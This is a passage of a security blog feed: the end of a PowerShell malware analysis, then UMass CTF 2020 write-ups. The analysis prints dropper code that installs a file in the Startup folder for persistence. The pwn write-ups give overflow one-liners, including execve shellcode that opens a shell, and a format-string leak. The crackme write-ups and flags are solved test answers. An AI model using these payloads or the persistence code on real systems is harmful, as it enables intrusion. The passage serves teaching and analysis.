    </span><span class="o">.</span><span class="nf">CopyHere</span><span class="p">((</span><span class="n">new-object</span><span class="w"> </span><span class="nt">-com</span><span class="w"> </span><span class="nx">shell.application</span><span class="p">)</span><span class="o">.</span><span class="nf">namespace</span><span class="p">(</span><span class="nv">$dir3</span><span class="p">)</span><span class="o">.</span><span class="nf">Items</span><span class="p">(),</span><span class="mi">4</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">16</span><span class="p">)</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Out-Null</span><span class="w">

</span><span class="nv">$xvwe</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'Sys.cmd'</span><span class="w">
</span><span class="nv">$zz</span><span class="o">=</span><span class="n">Get-Item</span><span class="w"> </span><span class="nv">$cmdxx</span><span class="w">
</span><span class="nv">$zz</span><span class="o">.</span><span class="nf">Attributes</span><span class="o">+=</span><span class="s2">"Hidden,System"</span><span class="w">

</span><span class="nv">$startup</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">System.Environment</span><span class="p">]::</span><span class="n">GetFolderPath</span><span class="p">(</span><span class="s2">"Startup"</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">"\"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nv">$xvwe</span><span class="w">
</span><span class="n">Copy-Item</span><span class="w"> </span><span class="nv">$cmdxx</span><span class="w"> </span><span class="nv">$startup</span><span class="w">  </span><span class="o">|</span><span class="w"> </span><span class="n">Out-Null</span><span class="w">

</span><span class="p">[</span><span class="n">System.Threading.Thread</span><span class="p">]::</span><span class="n">Sleep</span><span class="p">(</span><span class="mi">3000</span><span class="p">)</span><span class="w">
</span><span class="o">&amp;</span><span class="w"> </span><span class="nv">$cmdxx</span><span class="w">
</span><span class="n">remove-item</span><span class="w"> </span><span class="nv">$dir3</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Out-Null</span><span class="w">
</span></code></pre></div></div>

<p>To summarize it the script pulls a file from a malicious domain and saves it to <code class="language-plaintext highlighter-rouge">C:\Users</code>. Following this, it unzips the archive, sets <code class="language-plaintext highlighter-rouge">Sys.cmd</code> as a hidden and a system file, copies it to <code class="language-plaintext highlighter-rouge">C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code>, waits 3 seconds, and then executes the file. After executing the file the original archive is deleted.</p>

<h1 id="conclusion">Conclusion</h1>

<p class="notice--danger"><strong>Warning: repo contains malware! Use at your own risk.</strong></p>

<p>Full files can be found at my <a href="https://github.com/nadrojisk/malware-research/blob/master/symbol_obfuscation_ps.zip">malware-research repo</a>.</p>

<h1 id="references">References</h1>
<ul>
  <li>Original Tweet: <a href="https://twitter.com/LawrenceAbrams/status/1514634960833073158?s=20&amp;t=vIa0fSK3stteiaPvVlZ0VQ">https://twitter.com/LawrenceAbrams/status/1514634960833073158?s=20&amp;t=vIa0fSK3stteiaPvVlZ0VQ</a></li>
  <li>Repository full of fun Powershell obfuscation techniques: <a href="https://github.com/danielbohannon/Invoke-Obfuscation">https://github.com/danielbohannon/Invoke-Obfuscation</a></li>
  <li>Blog post explaining similar Powershell script: <a href="https://pcsxcetrasupport3.wordpress.com/2018/10/28/understanding-invoke-x-special-character-encoding/">https://pcsxcetrasupport3.wordpress.com/2018/10/28/understanding-invoke-x-special-character-encoding/</a></li>
  <li>Original post explaining this technique: <a href="https://perl-users.jp/articles/advent-calendar/2010/sym/11">https://perl-users.jp/articles/advent-calendar/2010/sym/11</a></li>
</ul>]]></content><author><name>Jordan Sosnowski</name></author><category term="reverse_engineering" /><category term="reverse engineering" /><category term="malware analysis" /><category term="obfuscation" /><category term="powershell" /><summary type="html"><![CDATA[Writeup for understanding symbol based powershell obfuscation techniques.]]></summary></entry><entry><title type="html">UMass CTF 2020: PWN Engineering Writeups</title><link href="http://blog.nadrojisk.com/ctf/umass/pwn" rel="alternate" type="text/html" title="UMass CTF 2020: PWN Engineering Writeups" /><published>2020-10-13T00:00:00-05:00</published><updated>2020-10-13T00:00:00-05:00</updated><id>http://blog.nadrojisk.com/ctf/umass/umass-pwn</id><content type="html" xml:base="http://blog.nadrojisk.com/ctf/umass/pwn"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>This page details my pwn writeups for The University of Massachusetts Amherst CTF.
This CTF was originally just an internal CTF but I knew one of the moderators Sam.
Overall it was a great CTF and I really enjoyed it; they definitely had some unique challenges.</p>

<p>All my scripts and the provided files from the CTF can be found <a href="https://github.com/nadrojisk/ctf-writeups/tree/master/2020-UMassCTF/rev">here</a>.</p>

<h1 id="baby-overflow-i">Baby Overflow I</h1>

<h2 id="prompt">Prompt</h2>

<p>This is my first program. Be nice :)</p>

<p><code class="language-plaintext highlighter-rouge">nc 34.75.105.136 1024</code></p>

<h2 id="tldr">TLDR;</h2>

<p>Looking at the binary in GDB we see that the buffer is 16 characters and right above it is the variable for <code class="language-plaintext highlighter-rouge">should_get_flag</code>.
Therefore, we should write in 16 junk characters and then write in 0x1.</p>

<p><code class="language-plaintext highlighter-rouge">python -c "import struct; out = 'A'*0x10; out += struct.pack('I', 0x1); print(out)" | nc 34.75.105.136 1024</code></p>

<h2 id="flag">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{N3v3r_g0nn4_m3s$_th1s_up}</code></p>

<h1 id="baby-overflow-ii">Baby Overflow II</h1>

<h2 id="prompt-1">Prompt</h2>

<p>When my friend Ptasie Mleczko typed in his name, it gave him the flag. It was weird, but I think I fixed it.</p>

<p>nc 34.75.105.136 1025</p>

<h2 id="tldr-1">TLDR;</h2>

<p>The binary is pretty much the same, however, this time it expects a specific value instead of a boolean True value.</p>

<p><code class="language-plaintext highlighter-rouge">python -c "import struct;out = 'A'*0x10;out += struct.pack('I', 0xB16B00B5);print(out)" | nc 34.75.105.136 1025</code></p>

<h2 id="flag-1">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{Dyslexic_D0g_1nth3$ky}</code></p>

<h1 id="baby-overflow-iii">Baby Overflow III</h1>

<h2 id="prompt-2">Prompt</h2>

<p>Okay, now it’s really secure.</p>

<p>nc 34.75.105.136 1027</p>

<h2 id="tldr-2">TLDR;</h2>

<p>For this challenge one has to gain control of the RIP to change execution flow.
This can be done by overloading the buffer, the saved RBP value on the stack and then by inserting the address one would like to execute at.</p>

<p><code class="language-plaintext highlighter-rouge">(python -c "import struct;out = 'A'*0x10;out += 'bbbbbbbb';out += struct.pack('Q', 0x401132); out += struct.pack('Q', 0x401060); print(out)"; echo) | nc 34.75.105.136 1027</code></p>

<h2 id="flag-2">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{first_step_to_rop}</code></p>

<h1 id="baby-overflow-iv">Baby Overflow IV</h1>

<h2 id="prompt-3">Prompt</h2>

<p>I don’t even know why I had that function in the first place…</p>

<p>nc 34.75.105.136 1028</p>

<h2 id="tldr-3">TLDR;</h2>

<p><code class="language-plaintext highlighter-rouge">(python -c "import struct;out = 'A'*0x10;out += 'bbbbbbbb';out += struct.pack('Q', 0x0000000000404060); print('\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05');print(out)"; cat -) | nc 34.75.105.136 1028</code></p>

<p>Once in the shell type
<code class="language-plaintext highlighter-rouge">cat flag</code></p>

<h2 id="flag-3">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{now_you_can_really_call_yourself_a_hacker}</code></p>

<h1 id="format_what">format_what</h1>

<h2 id="prompt-4">Prompt</h2>

<p>We just learned format strings in 230, can you check if I’m doing it right?</p>

<p>nc 34.75.105.136 1030</p>

<h2 id="tldr-4">TLDR;</h2>

<p><code class="language-plaintext highlighter-rouge">python -c "print('%lu '*20)" | nc 34.75.105.136 1030 | (read -r i; read -r s; for i
 in $s; do python3 -c "import struct; print(struct.pack('Q', $i))"; done)</code></p>

<h2 id="flag-4">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{n0_f0rm4t_n33d3d!?}</code></p>]]></content><author><name>Jordan Sosnowski</name></author><category term="ctf" /><category term="pwn" /><category term="umass20" /><summary type="html"><![CDATA[Introduction]]></summary></entry><entry><title type="html">UMass CTF 2020: Reverse Engineering Writeups</title><link href="http://blog.nadrojisk.com/ctf/umass/rev" rel="alternate" type="text/html" title="UMass CTF 2020: Reverse Engineering Writeups" /><published>2020-10-12T00:00:00-05:00</published><updated>2020-10-12T00:00:00-05:00</updated><id>http://blog.nadrojisk.com/ctf/umass/umass-rev</id><content type="html" xml:base="http://blog.nadrojisk.com/ctf/umass/rev"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>This page details my reversing writeups for The University of Massachusetts Amherst CTF.
This CTF was originally just an internal CTF but I knew one of the moderators Sam.
Overall it was a great CTF and I really enjoyed it; they definitely had some unique challenges.</p>

<p>All my scripts and the provided files from the CTF can be found <a href="https://github.com/nadrojisk/ctf-writeups/tree/master/2020-UMassCTF/rev">here</a>.</p>

<h1 id="baby-crackme-i">Baby Crackme I</h1>

<h2 id="prompt">Prompt</h2>

<p>I haven’t touched a computer since I retired. Can you help me decipher this program I wrote 30 years ago? …</p>

<hr />

<p>You should be able to solve this one, even if you’ve never written C before; it isn’t essential to understand every single line. If you do want a quick (one page) reference on C, though, look <a href="https://learnxinyminutes.com/docs/c/">here</a>.</p>

<p>Created by @Jakob</p>

<h2 id="hint">Hint</h2>

<p>Strings in C are arrays of characters.</p>

<h2 id="tldr">TLDR;</h2>

<p>The flag is declared in plaintext in the source file which is compared against the users input.
You can pull it out yourself you have bash do the heavy lifting for you.</p>

<p><code class="language-plaintext highlighter-rouge">head -n38 crackme.c | tail -n +7 |  cut -d "=" -f 2 | cut -d ')' -f 1 | tr -d "\n\r' "</code></p>

<h2 id="solution">Solution</h2>

<p>Since the source code for this challenge is provide I just opened the file in a text editor.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">check_flag</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">flag</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">32</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>  <span class="o">!=</span> <span class="sc">'U'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>  <span class="o">!=</span> <span class="sc">'M'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>  <span class="o">!=</span> <span class="sc">'A'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>  <span class="o">!=</span> <span class="sc">'S'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>  <span class="o">!=</span> <span class="sc">'S'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span>  <span class="o">!=</span> <span class="sc">'{'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span>  <span class="o">!=</span> <span class="sc">'s'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span>  <span class="o">!=</span> <span class="sc">'o'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span>  <span class="o">!=</span> <span class="sc">'m'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span>  <span class="o">!=</span> <span class="sc">'3'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'t'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">11</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'1'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">12</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'m'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">13</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'3'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">14</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'s'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">15</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'_'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'1'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">17</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'t'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">18</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'_'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">19</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'1'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">20</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'s'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">21</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'_'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">22</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'t'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">23</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'h'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">24</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'1'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'s'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">26</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'_'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">27</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'3'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">28</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'4'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">29</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'s'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'y'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">flag</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'}'</span><span class="p">)</span>    <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">char</span> <span class="n">flag</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>

    <span class="n">fgets</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">flag</span><span class="p">),</span> <span class="n">stdin</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">strchr</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="sc">'\n'</span><span class="p">))</span> <span class="p">{</span> <span class="o">*</span><span class="n">strchr</span><span class="p">(</span><span class="n">flag</span><span class="p">,</span> <span class="sc">'\n'</span><span class="p">)</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span> <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">check_flag</span><span class="p">(</span><span class="n">flag</span><span class="p">))</span> <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"License key accepted.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"Try again.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>For anyone who understands C this code is pretty easy to understand.
For those who do not understand C they may not get what is going on.
In C, and most languages <code class="language-plaintext highlighter-rouge">main</code> is the function that is called “first” when the program is executed.</p>

<p>In the function declaration we can see <code class="language-plaintext highlighter-rouge">main</code> takes two arguments <code class="language-plaintext highlighter-rouge">int argc</code> and <code class="language-plaintext highlighter-rouge">char **argv</code>.
These are automatically passed by the operating system when the program is called.
<code class="language-plaintext highlighter-rouge">argc</code> is the number of command line arguments being passed while <code class="language-plaintext highlighter-rouge">argv</code> is a array of strings, in C strings are arrays of characters. You can also things of <code class="language-plaintext highlighter-rouge">argv</code> as the commands you pass via the command line.</p>

<p>For example running the following comand <code class="language-plaintext highlighter-rouge">./chall test 1 b</code>. <code class="language-plaintext highlighter-rouge">argc</code> would equal 4 and <code class="language-plaintext highlighter-rouge">argv</code> would contain <code class="language-plaintext highlighter-rouge">['/home/user/Documents/chall', 'test', '1', 'b']</code>.
Note: the first argument for <code class="language-plaintext highlighter-rouge">argv</code> is always the path of the running executable!</p>

<p>Once in <code class="language-plaintext highlighter-rouge">main</code> the program creates a buffer called <code class="language-plaintext highlighter-rouge">flag</code>. for a string of 64 characters.
Following this it gets input from <code class="language-plaintext highlighter-rouge">stdin</code> of 64 characters and stores it in <code class="language-plaintext highlighter-rouge">flag</code>.
After pulling the input from the user it removes any new lines in the string buffer.
Then the flag is passed to <code class="language-plaintext highlighter-rouge">check_flag</code>.</p>

<p>This function is where the “meat” of the problem is.
Here we can see each value of the users input is compared against some hardcoded values.
You COULD pull the flag out by hand, but I’ve been trying to practice my bash scripting so I decided to use bash to solve this challenge.</p>

<p>First we need to just get the lines relevent to use to do that we can use <code class="language-plaintext highlighter-rouge">head</code> and <code class="language-plaintext highlighter-rouge">tail</code>.
After that we need to pull out just the flag values which can be achieved with two calls to <code class="language-plaintext highlighter-rouge">cut</code>.
At this point the output is just the flag but its across multiple lines so we can use <code class="language-plaintext highlighter-rouge">tr</code> to remove the newline characters.</p>

<p><code class="language-plaintext highlighter-rouge">head -n38 crackme.c | tail -n +7 |  cut -d "=" -f 2 | cut -d ')' -f 1 | tr -d "\n\r' "</code></p>

<h2 id="flag">Flag</h2>

<p><code class="language-plaintext highlighter-rouge">UMASS{som3t1m3s_1t_1s_th1s_34sy}</code></p>

<h1 id="baby-crackme-ii">Baby Crackme II</h1>

<h2 id="prompt-1">Prompt</h2>

<p>… back then, compilers weren’t very good. I wrote this version, hoping it would be faster. Can you help me figure out what I chose for the “license key”? …</p>

<hr />

<p>You might need to understand a little bit more C for this one, but I believe in you!</p>

<p>Created by @Jakob</p>

<h2 id="hint-1">Hint</h2>

<p>Characters in C are just numbers. <a href="https://man7.org/linux/man-pages/man7/ascii.7.html">This</a> is a useful mapping of numbers to letters.</p>

<h2 id="tldr-1">TLDR;</h2>

<p>Assembly is inlined to compare each character of the users input against hard coded values.
This one is definitely a little more tedious to pull out by hand.</p>

<p><code class="language-plaintext highlighter-rouge">for word in $(grep -i CMP crackme.c | cut -d ',' -f2 | tail -n +2|cut -d ')' -f1); do printf "\x$(printf %x $word)"; done;</code></p>

<h2 id="solution-1">Solution</h2>

<p>Like the prior challenge the source code is provided so I’ll just use a text editor to view this challenge.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">check_flag</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">flag</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">struct</span> <span class="n">registers</span> <span class="p">{</span>
            <span class="kt">uint64_t</span> <span class="n">rax</span><span class="p">;</span>
            <span class="kt">uint64_t</span> <span class="n">flags</span><span class="p">;</span>
    <span class="p">};</span>

    <span class="cp">#define FLAG_EQUAL 1 &lt;&lt; 1
</span>
    <span class="cp">#define MOV(dst, src) dst = (uint64_t) src
</span>    <span class="cp">#define ADD(dst, src) dst += src
</span>    <span class="cp">#define CMP(a, b)     if (a == b) regs.flags |= FLAG_EQUAL;
</span>    <span class="cp">#define JNE(label)    if ((regs.flags &amp; FLAG_EQUAL) == 0) goto label;
</span>
    <span class="cp">#define MOVZX_DEREFERENCE_BYTE(dst, src) dst = *((uint8_t *) src)
</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">32</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span>

        <span class="k">struct</span> <span class="n">registers</span> <span class="n">regs</span><span class="p">;</span>
        <span class="n">regs</span><span class="p">.</span><span class="n">rax</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="n">regs</span><span class="p">.</span><span class="n">flags</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">85</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">77</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">65</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

        <span class="n">MOV</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
        <span class="n">ADD</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span>
        <span class="n">MOVZX_DEREFERENCE_BYTE</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">);</span>
        <span class="n">CMP</span><span class="p">(</span><span class="n">regs</span><span class="p">.</span><span class="n">rax</span><span class="p">,</span> <span class="mi">83</span><span class="p">);</span>
        <span class="n">JNE</span><span class="p">(</span><span class="n">fail</span><span class="p">);</span>

